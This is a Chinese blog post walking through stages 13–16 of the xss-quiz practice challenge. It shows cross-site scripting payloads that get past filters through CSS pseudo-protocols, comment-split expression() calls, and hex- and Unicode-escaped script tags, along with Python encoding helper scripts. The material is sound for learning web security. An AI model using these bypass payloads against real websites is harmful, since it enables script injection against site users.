XSS漏洞-手动挖掘(五)

2022年8月15日16:43:32 发表评论 146 views

1.1 Stage 13 CSS的IE特性伪协议注入XSS

https://xss-quiz.int21h.jp/stage13_0.php?sid=1c9c607c40dc4863f84fe2bd8218c7ba4664721e

1.1.1 页面分析

XSS漏洞-手动挖掘(五)

1.1.1.1 分析过程

  1. 提示信息:样式属性
  2. 页面中提示让我们输入的信息是层叠样式表,所以我们使用层叠样式表的方式进行注入,输入的其它方式的文本信息不会被当做代码执行。

1.1.2 进行注入测试

1.1.2.1 构建payload

将背景颜色替换为urI,然后使用伪协议进行注入:

background:url("javascript:alert(document.domain);");

1.1.2.2 执行payload

XSS漏洞-手动挖掘(五)

源码中可以看到CSS成功调用了伪协议:

XSS漏洞-手动挖掘(五)

1.2 Stage 14 通过CSS的内联注释注入XSS

https://xss-quiz.int21h.jp/stage-_-14.php?sid=0ff1923d41a6dc1a008e24017e537e39f85c2446

1.2.1 页面分析

XSS漏洞-手动挖掘(五)

1.2.1.1 分析过程

  1. 提示信息:s/(url|script|eval|expression)/xxx/ig; 将url,script,eval,expression都替换为了xxx;
  2. 解决方式就是寻找黑名单之外的关键字,但是我们可以使用注释绕过对名单的检测;

1.2.2 通过内联注释进行注入测试

1.2.2.1 构建payload

leon:expr/**/ession(alert(document.domain));

1.2.2.2 执行payload

XSS漏洞-手动挖掘(五)

成功弹出消息,但是存在一个问题,在CSS中注入以后网站会不停的给我们弹框,所以我们需要修改一下payload使网站只弹一次。

1.2.3 优化内联注释payload

1.2.3.1 构建payload

判断语句可以理解为如果window.x不成立则执行{}内的代码:

第一次执行时,window.x为空,所以if语句成立,当{}内容执行一次后,对window.x赋值为1;

第二次执行时,windows.x=1,所以if条件不成立,此时{}代码不会再执行。

leon:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})

1.2.3.2 执行payload

XSS漏洞-手动挖掘(五)

1.3 Stage 15 十六进制编码绕过过滤XSS注入

https://xss-quiz.int21h.jp/stage__15.php?sid=e0c7306f7286a6f77795db6846f64261809b16ac

1.3.1 页面分析

XSS漏洞-手动挖掘(五)

1.3.1.1 分析过程

  1. 输入的信息会在页面下方的黑色文本框中显示

1.3.1.2 尝试注入

"><script>alert(document.domain)</script>

可以看到输入的双引号和尖括号全部转义为了编码实体字符:

XSS漏洞-手动挖掘(五)

1.3.2 使用十六进制编码进行绕过注入

1.3.2.1 使用python脚本进行16进制转换

# vim decoder_hex.py
import sys
import binascii
def get_data(str_data):
    list_data = list(str_data)
    if len(list_data) > 1:
        a = [b'\\x'+binascii.b2a_hex(str_data.encode()) for str_data in list_data]
        data = zip(list_data,a)
        for i,y in data:
            print(i,' 的结果为:',y.decode())
        b = b''.join(a)
        print(str_data,'最终结果为:',b.decode())
    else:
        a = [b'\\x'+binascii.b2a_hex(str_data.encode()) for str_data in list_data]
        b = b''.join(a)
        print(str_data,'最终结果为:',b.decode())
if __name__ == '__main__':
    while True:
        str_data = input('请输入需要转换的字符或字符串(输入exit退出):')
        if str_data == 'exit':
            break
        get_data(str_data)

1.3.2.2 进行16进制转码

# python3 decoder_hex.py
请输入需要转换的字符或字符串(输入exit退出):<>
<  的结果为: \x3c
>  的结果为: \x3e
<> 最终结果为: \x3c\x3e
请输入需要转换的字符或字符串(输入exit退出):exit

1.3.2.3 构建payload

\x3cscript\x3ealert(document.domain)\x3c/script\x3e

1.3.2.4 执行payload

我们发现执行完成后\被吃掉了:

XSS漏洞-手动挖掘(五)

1.3.2.5 优化payload

\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e

1.3.2.6 重新执行payload

XSS漏洞-手动挖掘(五)

XSS漏洞-手动挖掘(五)

1.4 Stage 16 Unicode编码绕过关键词XSS注入

https://xss-quiz.int21h.jp/stage00000016.php?sid=7e376579a761ef96c858230ec2bc390110a7f8ea

1.4.1 搭建本地关卡

XSS漏洞-手动挖掘(四)1.3.1章节

1.4.2 页面分析

XSS漏洞-手动挖掘(五)

1.4.2.1 分析过程

  • 提示信息:将\\x替换成\\\\x

1.4.2.2 尝试注入

\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e

代码并没有被成功执行,分析源码:

XSS漏洞-手动挖掘(五)

可以看到payload中的\x3c和\x3e还是原本的字符串并没有被识别为<>尖括号,虽然最终浏览器在pre中识别为\x3c和\x3e但是代码还是没有执行。

1.4.3 使用unicode编码进行绕过注入

1.4.3.1 使用python脚本进行unicode转码

# vim decoder_unicode.py
import sys
import binascii
def get_data(str_data):
    list_data = list(str_data)
    if len(list_data) > 1:
        a = [b'\\u00'+binascii.b2a_hex(str_data.encode()) for str_data in list_data]
        data = zip(list_data,a)
        for i,y in data:
            print(i,' 的结果为:',y.decode())
        b = b''.join(a)
        print(str_data,'最终结果为:',b.decode())
    else:
        a = [b'\\u00'+binascii.b2a_hex(str_data.encode()) for str_data in list_data]
        b = b''.join(a)
        print(str_data,'最终结果为:',b.decode())
if __name__ == '__main__':
    while True:
        str_data = input('请输入需要转换的字符或字符串(输入exit退出):')
        if str_data == 'exit':
            break
        get_data(str_data)

1.4.3.2 进行unicode转换

# python3 decoder_unicode.py
请输入需要转换的字符或字符串(输入exit退出):<>
<  的结果为: \u003c
>  的结果为: \u003e
<> 最终结果为: \u003c\u003e
请输入需要转换的字符或字符串(输入exit退出):exit

1.4.3.3 构建payload

\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e

1.4.3.4 执行payload

XSS漏洞-手动挖掘(五)

可以看到\\u003c成功转换成了\\u003c 而且代码被正常识别并执行:

XSS漏洞-手动挖掘(五)

weinxin
我的微信
如果有技术上的问题可以扫一扫我的微信
版权声明
1. 本网站名称:Leon的博客
2. 本站永久网址:https://blog.leonshadow.cn
3. 本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长QQ632113590进行删除处理。
4. 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
5. 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
6. 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
liyang